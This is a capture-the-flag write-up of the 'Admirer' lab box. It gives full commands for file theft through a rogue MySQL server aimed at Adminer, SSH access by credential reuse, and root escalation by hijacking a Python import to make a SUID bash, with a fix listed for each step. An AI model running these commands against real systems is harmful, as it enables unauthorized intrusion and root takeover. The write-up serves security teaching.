Admirer
Summary
I read the web server's publicly visible robots.txt file, which directly named a hidden administration directory. Inside that directory sat an unguarded Adminer 4.6.2 database management panel; I connected Adminer to my own rogue MySQL server and abused a protocol feature to force the web server to read its own PHP source files and return the contents—exposing plaintext credentials.
Those credentials were reused unchanged for the waldo SSH account, giving me an interactive shell on the system. Once inside, a sudo policy that allowed arbitrary environment variables to be injected into a root-owned Python backup script let me plant a fake shutil module in /tmp and hijack the Python import chain, executing arbitrary code as root and completing the full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for waldo>"
export CHOSEN_PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
Full-port version and default-script scan; -oA writes greppable, XML, and normal output for later reference.
$ nmap -sV -sC -p- --open -T4 $TARGET -oA admirer_fullExact commands 2
Read robots.txt; the Disallow: /admin-dir entry is the lead.
$ curl -s http://$TARGET/robots.txtBrute-force files under /admin-dir. Finds adminer.php and any credentials or configuration files.
$ gobuster dir -u http://$TARGET/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 40FixRemove sensitive paths from robots.txt and place admin tools behind an access control gateMedium
Exact commands 2
Run on my machine. Edit the script to set the target file (e.g. /var/www/html/index.php or the credentials file found in step 2). My machine must accept inbound TCP 3306 from $TARGET.
$ git clone https://github.com/allyshka/Rogue-MySql-Server && python3 rogue_mysql_server.pyThe rogue server sends a SERVER_FILE_REQUEST packet. Adminer's bundled MySQL client reads the specified local file and sends it back. The captured output contains the plaintext DB credentials.
$ # Browser: http://$TARGET/admin-dir/adminer.php
# Server: $ATTACKER_IP | User: root | Password: $CHOSEN_PASSWORD | Database: (leave blank)
# Click Login — Adminer's MySQL client connects outbound; the rogue server replies with a file-read packetFixRemove Adminer from the production web root and upgrade any retained instanceCritical
Exact commands 2
Authenticate with the credential recovered from the web-app PHP source.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no waldo@$TARGETConfirm interactive shell as waldo; flag value: <user.txt>
$ id; cat /home/waldo/user.txt
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)FixStop reusing application or database credentials for OS user accountsHigh
Exact commands 3
List waldo's sudo rules; look for SETENV alongside the admin_tasks.sh path.
$ sudo -lRead the script to find the call to backup.py.
$ cat /opt/scripts/admin_tasks.shConfirm the 'import shutil' and 'shutil.make_archive(...)' call that will be hijacked.
$ cat /opt/scripts/backup.pyExact commands 4
Write the malicious module to /tmp. Make_archive is the exact function backup.py calls.
$ cat > /tmp/shutil.py << 'PY'
import os
def make_archive(dst, fmt, src):
os.system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash")
return dst
PYRun admin_tasks.sh as root with /tmp first in Python's path. When the menu appears, choose the backup option that triggers backup.py.
$ echo "$PASSWORD" | sudo -S PYTHONPATH=/tmp /opt/scripts/admin_tasks.shOpen a root shell via the SUID bash copy; -p preserves the effective UID (root).
$ /tmp/rootbash -pConfirm root and capture the flag: uid=0(root); flag value: <root.txt>
$ id; cat /root/root.txtFixRemove SETENV from the admin_tasks.sh sudo rule to prevent environment variable injectionCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 21/tcp | ftp vsftpd 3.0.3 |
| 22/tcp | ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.25 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.